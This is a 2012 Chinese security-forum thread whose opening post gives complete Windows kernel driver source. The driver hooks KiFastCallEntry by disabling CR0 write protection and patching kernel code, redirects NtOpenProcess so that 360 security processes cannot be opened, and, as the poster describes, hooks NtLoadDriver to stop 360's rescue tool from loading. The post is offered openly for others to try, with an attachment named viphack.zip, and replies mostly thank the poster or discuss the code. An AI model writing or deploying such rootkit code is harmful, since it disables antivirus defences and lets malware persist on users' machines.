首页
社区
课程
招聘
[旧帖] [原创]内核钩子源码!对抗360急救箱 0.00雪花
发表于: 2012-1-15 19:54 8298

[旧帖] [原创]内核钩子源码!对抗360急救箱 0.00雪花

2012-1-15 19:54
8298

#include <ntddk.h>

#define BYTE unsigned char

#define MEM 'viphac'

NTSTATUS DriverEntry(
                IN PDRIVER_OBJECT      DriverObject,
                IN PUNICODE_STRING      RegistryPath
                );

VOID Unload(
         IN PDRIVER_OBJECT      DriverObject
         );

typedef NTSTATUS (*NTOPENPROCESS)(
                          OUT PHANDLE             ProcessHandle,
                          IN ACCESS_MASK          AccessMask,
                          IN POBJECT_ATTRIBUTES   ObjectAttributes,
                          IN PCLIENT_ID           ClientId
                          );

NTSTATUS PsLookupProcessByProcessId(
                           IN HANDLE     ProcessId,
                           OUT PEPROCESS *Process
                           );

PUCHAR PsGetProcessImageFileName(
                         IN PEPROCESS EProcess
                         );

#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, Unload)
#endif

NTOPENPROCESS OldNtOpenProcess;

BYTE JmpCode[5]={0xE9,0x00,0x00,0x00,0x00};
BYTE OrgCode[5]={0x8B,0x3F,0x8B,0x1C,0x87};
BYTE PushRetCode[6]={0x68,0x00,0x00,0x00,0x00,0xc3};

ULONG uKiFastCallEntryAddr=0;   
ULONG HookAddr=0;
ULONG JMPRet=0;
ULONG PushRetMem=0;

//NtOpenProcess
NTSTATUS MyNtOpenProcess(
                   OUT PHANDLE ProcessHandle,
                   IN ACCESS_MASK AccessMase,
                   IN POBJECT_ATTRIBUTES ObjectAttributes,
                   IN PCLIENT_ID ClientId
                   )
{
   PEPROCESS lpPEPROCESS;
   NTSTATUS  status;
   char      *ProcessName;

   //取要打开目标进程的PEPROCESS
   status=PsLookupProcessByProcessId(ClientId->UniqueProcess,&lpPEPROCESS);
   
   if (NT_SUCCESS(status))
   {
      if (KeGetCurrentIrql()==PASSIVE_LEVEL)
      {
         ProcessName=_strupr(PsGetProcessImageFileName(lpPEPROCESS));
         if (strcmp(ProcessName,"360tray.EXE")==0) //判断打开的进程是否为
如果是 返回0 即 拒绝访问   不是CALL回去
         {
            return STATUS_ACCESS_DENIED;
         }         
      }
      
   }
   return OldNtOpenProcess(ProcessHandle,AccessMase,ObjectAttributes,ClientId);
}   

//HOOK KiFastCallEntry
__declspec(naked)void OverFuck()
{
   _asm
   {
      pushfd
      pushad
      mov edi,dword ptr [edi]
      mov ebx,dword ptr [edi+eax*4]
      cmp OldNtOpenProcess,ebx; //比较是否为NtOpenProcess
      je Label1
      popad
      popfd
      mov edi,dword ptr [edi]
      mov ebx,dword ptr [edi+eax*4]
      jmp [JMPRet];
Label1:
      popad
      popfd
      mov ebx,MyNtOpenProcess
    jmp [JMPRet];
      
   }
   
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
   NTSTATUS       status = STATUS_SUCCESS;
   KIRQL          oldIrql;
   UNICODE_STRING ustrFunctionName;
   
   DbgPrint("[HideSSDT] DriverEntry!\n");

   DriverObject->DriverUnload = Unload;
   
  
  RtlInitUnicodeString(&ustrFunctionName, L"NtOpenProcess" );
   OldNtOpenProcess=(NTOPENPROCESS)MmGetSystemRoutineAddress( &ustrFunctionName);

   DbgPrint("NtOpenProcess=0x%08X",OldNtOpenProcess);
   
    __asm
   {
      pushfd
      pushad
      mov ecx,0x176
      rdmsr
      mov uKiFastCallEntryAddr,eax
      xor ecx,ecx

//RDMSR                                    ; 特权命令

Label1:
      cmp ecx,0x100
      je Label3
      mov edx,DWORD ptr [eax]
      cmp edx,0x1C8B3F8B
    je Label2
      inc eax
      inc ecx
      jmp Label1
Label2:
      mov HookAddr,eax
Label3:
      popad
      popfd
   }
   
   if (HookAddr==0)
   {
      return status;
   }
    //申请分配二级跳转内存
   PushRetMem=(ULONG)ExAllocatePoolWithTag(NonPagedPool,6,MEM);
   
   if ((PVOID)PushRetMem==NULL)
   {
      return status;
   }

   DbgPrint("PushRetMem=0x%08X",PushRetMem);
   
   //一级跳转地址
   *(ULONG*)&JmpCode[1]=(ULONG)(PushRetMem)-(HookAddr+5);
   //二级跳转地址
   *(ULONG*)&PushRetCode[1]=(ULONG)OverFuck;
   //HOOK返回地址
   JMPRet=HookAddr+5;

   //提升中断请求级
   oldIrql = KeRaiseIrqlToDpcLevel();

   //关闭中断
   _asm
   {
      CLI        清中断允许位         
      MOV    EAX, CR 0
      AND EAX, NOT 10000H
      MOV    CR0, EAX      
   }
   //进行HOOK操作
   RtlCopyMemory((PVOID)PushRetMem,PushRetCode,6);
   RtlCopyMemory((PVOID)HookAddr,JmpCode,5);
   
   //开启中断
   _asm
   {
      MOV    EAX, CR0      
      OR    EAX, 10000H           
      MOV    CR0, EAX              
      STI        置中断允许位           
   }
   //恢复先前中断请求级
   KeLowerIrql(oldIrql);
    //添加代码
   
   return status;
}

VOID Unload( IN PDRIVER_OBJECT DriverObject)
{
   if (HookAddr!=0)
   {
      KIRQL oldIrql;
      //提升中断请求级
      oldIrql = KeRaiseIrqlToDpcLevel();
      //关闭中断
      _asm
      {
         CLI               
         MOV    EAX, CR0   
         AND EAX, NOT 10000H
         MOV    CR0, EAX      
      }
      //进行还原HOOK操作
      RtlCopyMemory((PVOID)HookAddr,OrgCode,5);
      _asm
      {
         MOV    EAX, CR0      
         OR    EAX, 10000H            
         MOV    CR0, EAX              
         STI                  
      }
      //恢复先前中断请求级
      KeLowerIrql(oldIrql);
      // 释放内存
      ExFreePool((PVOID)PushRetMem);
   }
                                     网上也看了 很多帖子 我晕啊!!
            C语言支持 直接 汇编 而E语言却要 转换成10进制  饿 处理相当麻烦
      这个事我开学时候写的驱动:360玩的太绝 一直更新偶的驱动 麻麻呼呼 还有很多没有解决     感兴趣的朋友玩玩吧!  吧里面的功能全部挖出来  [ATTACH][ATTACH][ATTACH    不过360急救箱确实有一个问题 如果第一次加载失败了    第二次即使被成功加载
        进程也不会得到保护   
         NtLoadDriver  请在虚拟机中测试    这个NtLoadDriver 我只写了HOOK  请手动恢复  自备XueTr  先让360急救箱允许 在结束  恢复  NtLoadDriver 在运行看看 360失去了  进程隐藏+进程保护 即使驱动被加载  [ATTACH] viphack.zip





[/ATTACH]
               邀请码 邀请码       给我!!!!!  谢谢啊 我要加入 看雪BBS成为你们中间的一员


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (35)
雪    币: 2323
活跃值: (4113)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
2
不错~~学习一下~~
2012-1-15 20:42
0
雪    币: 34
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
沙发~,广告位可以租吗?
2012-1-15 20:43
0
雪    币: 149
活跃值: (171)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
很不错,可以给邀请码了。
2012-1-15 22:13
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
5
感谢楼主的分享
2012-1-15 22:34
0
雪    币: 1787
活跃值: (340)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
6
没看懂啊,HOOK NtOpenProcess 和急救箱的隐藏进程,有啥关系。~
还HOOK  NtLoadDriver ?防止急救箱加驱动?
我估计禁不掉~
2012-1-15 23:54
0
雪    币: 388
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
没看懂楼主发的图
2012-1-16 00:02
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
学习了!
2012-1-16 00:39
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
有创新有破解还是有未公开函数?
没看出神秘的地方
2012-1-16 01:44
0
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
10
其实很简单
           先对系统进程SSDT  我SSDT除了保护进程外  
                还HOOK  NtLoadDriver  这个不随便就能HOOK  
                             测试 360急救箱 在NtLoadDriver被HOOK的情况下  驱动是加载失败的!
                   恢复后 即使驱动加载成功   进程隐藏和进程保护都是 空的!!
           还有驱动 我是用E语言开发的
2012-1-16 08:41
0
雪    币: 131
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不错~~学习一下~~
2012-1-16 10:28
0
雪    币: 8192
活跃值: (2786)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12

   //取要打开目标进程的PEPROCESS
   status=PsLookupProcessByProcessId(ClientId->UniqueProcess,&lpPEPROCESS); 
   
   if (NT_SUCCESS(status))
   {
      ObDereferenceObject(lpPEPROCESS);
      if (KeGetCurrentIrql()==PASSIVE_LEVEL)
      {
         ProcessName=_strupr(PsGetProcessImageFileName(lpPEPROCESS));
         if (strcmp(ProcessName,"360tray.EXE")==0) //判断打开的进程是否为
 如果是 返回0 即 拒绝访问   不是CALL回去
         {
            return STATUS_ACCESS_DENIED;
         }         
      }
      
   }

2012-1-16 11:05
0
雪    币: 60
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不错,学习了
2012-1-16 12:51
0
雪    币: 249
活跃值: (71)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
14
楼主放个bin啊
2012-1-16 13:42
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
不错不错
2012-1-16 13:58
0
雪    币: 2
活跃值: (199)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
mark

字数补丁.exe.dll.sys
2012-1-16 18:20
0
雪    币: 1485
活跃值: (884)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
大肉鸡说你驱动都起来,还对抗个啥,你能起来驱动就随便你玩...
2012-1-16 19:06
0
雪    币: 437
活跃值: (110)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
18
看看再说。
2012-1-16 21:01
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
学习一下。。
2012-1-16 21:08
0
雪    币: 32
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我在连接时出现了如下错误,能否帮我解释一下

Linking...
Kernel hook.obj : error LNK2001: unresolved external symbol "unsigned char * __stdcall PsGetProcessImageFileName(struct _EPROCESS *)" (?PsGetProcessImageFileName@@YGPAEPAU_EPROCESS@@@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) unsigned char __stdcall KeGetCurrentIrql(void)" (__imp_?KeGetCurrentIrql@@YGEXZ)
Kernel hook.obj : error LNK2001: unresolved external symbol "long __stdcall PsLookupProcessByProcessId(void *,struct _EPROCESS * *)" (?PsLookupProcessByProcessId@@YGJPAXPAPAU_EPROCESS@@@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) void __fastcall KfLowerIrql(unsigned char)" (__imp_?KfLowerIrql@@YIXE@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) unsigned char __stdcall KeRaiseIrqlToDpcLevel(void)" (__imp_?KeRaiseIrqlToDpcLevel@@YGEXZ)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) void * __stdcall ExAllocatePoolWithTag(enum _POOL_TYPE,unsigned long,unsigned long)" (__imp_?ExAllocatePoolWithTag@@YGPAXW4_POOL_TYPE@@KK@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) void * __stdcall MmGetSystemRoutineAddress(struct _UNICODE_STRING *)" (__imp_?MmGetSystemRoutineAddress@@YGPAXPAU_UNICODE_STRING@@@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) void __stdcall RtlInitUnicodeString(struct _UNICODE_STRING *,unsigned short const *)" (__imp_?RtlInitUnicodeString@@YGXPAU_UNICODE_STRING@@PBG@Z)
Kernel hook.obj : error LNK2001: unresolved external symbol "unsigned long __cdecl DbgPrint(char *,...)" (?DbgPrint@@YAKPADZZ)
Kernel hook.obj : error LNK2001: unresolved external symbol "__declspec(dllimport) void __stdcall ExFreePool(void *)" (__imp_?ExFreePool@@YGXPAX@Z)
MyDriver_Check/HelloDDK.sys : fatal error LNK1120: 10 unresolved externals
2012-1-16 22:27
0
雪    币: 1163
活跃值: (137)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
21
有点练成降龙十八掌后自废武功的意思~

驱动对抗上大家更多关注的是如何加载。
2012-1-17 00:17
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
废柴啊,这还申精呢。。
啥也没学到啊,求楼主再发个高级点的 ......
......
2012-1-17 14:29
0
雪    币: 603
活跃值: (40)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
23
科普文。。。
2012-1-17 16:02
0
雪    币: 87
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
额,确实不错,就是看着晕,一直晕。
2012-1-17 22:06
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
楼主很强大 小弟学习了 谢楼主分享
2012-1-18 00:27
0
游客
登录 | 注册 方可回帖
返回
//